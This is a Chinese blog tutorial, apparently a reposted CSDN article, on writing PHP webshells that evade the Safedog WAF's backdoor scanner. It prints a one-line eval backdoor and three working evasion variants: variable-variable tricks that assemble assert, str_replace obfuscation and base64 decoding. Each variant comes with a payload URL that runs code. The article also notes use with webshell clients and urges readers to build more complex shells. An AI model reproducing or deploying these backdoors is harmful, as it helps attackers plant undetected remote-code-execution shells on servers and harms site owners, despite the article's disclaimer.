今天继续给大家介绍渗透测试相关知识,本文主要内容是简单手写后门Safedog检测绕过。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、Safedog后门扫描原理

SafeDog等WAF软件通常具有网络木马扫描功能,如下所示:
在这里插入图片描述
如果我们在网站中存在一个文件,是PHP一句话木马,如下所示:

<?php
eval($_POST['a']);
?>

那么当SafeDog进行扫描时,就会扫描出该文件,如下所示:
在这里插入图片描述

二、Safedog后门扫描绕过

上述后门之所以被Safedog拦截,是因为SafeDog检测到了eval函数和上传命令结合在了一起,因此,我们需要想办法避免这种写法,同时还能实现后门的功能。
我们可以采用变量覆盖的方式来写后门,后门PHP代码如下所示:

<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_GET['z']);
?>

在上述代码中,并没有直接出现assert函数,因此,安全狗扫描也不会查杀,如下所示:
在这里插入图片描述
但是,我们可以采取如下payload:

http://127.0.0.1/test.php?x=b&y=assert&z=phpinfo();

上述payload执行结果如下所示:
在这里插入图片描述
如果使用菜刀等工具连接,z就是webshell的密码。分析上述URL,可以看出,在传入上述参数后,各个变量结果如下:

\$a=b
\$\$a=assert

因此$b=assert。因此上述代码变为:

assert(\$_GET['z'])

因此成为了一个webshell。
除了上述方式外,还有一些绕过WAF的思路,例如:
1、字符替换
字符替换是通过字符的替换,来代理敏感字符串,以绕过WAF的检测,相关PHP代码如下所示:

<?php
$a=str_replace('123','','as123ser123t');
$a($_GET['x']);
?>

对该代码的payload为:

http://127.0.0.1/test.php?x=phpinfo();

2、字符编码
字符编码的方式是将敏感字符串进行字符编码后,然后再利用代码进行解码,然后就可以绕过WAF的检测了。相关PHP代码如下所示:

<?php
$a=base64_decode("YXNzZXJ0");
$a($_GET['x']);
?>

对该代码的payload为:

http://127.0.0.1/test.php?x=phpinfo();

以上几种方式,获取不能直接绕过WAF的检测,但是我们可以借鉴这些写法的思想,形成更加复杂的webshell。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

点赞(2) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部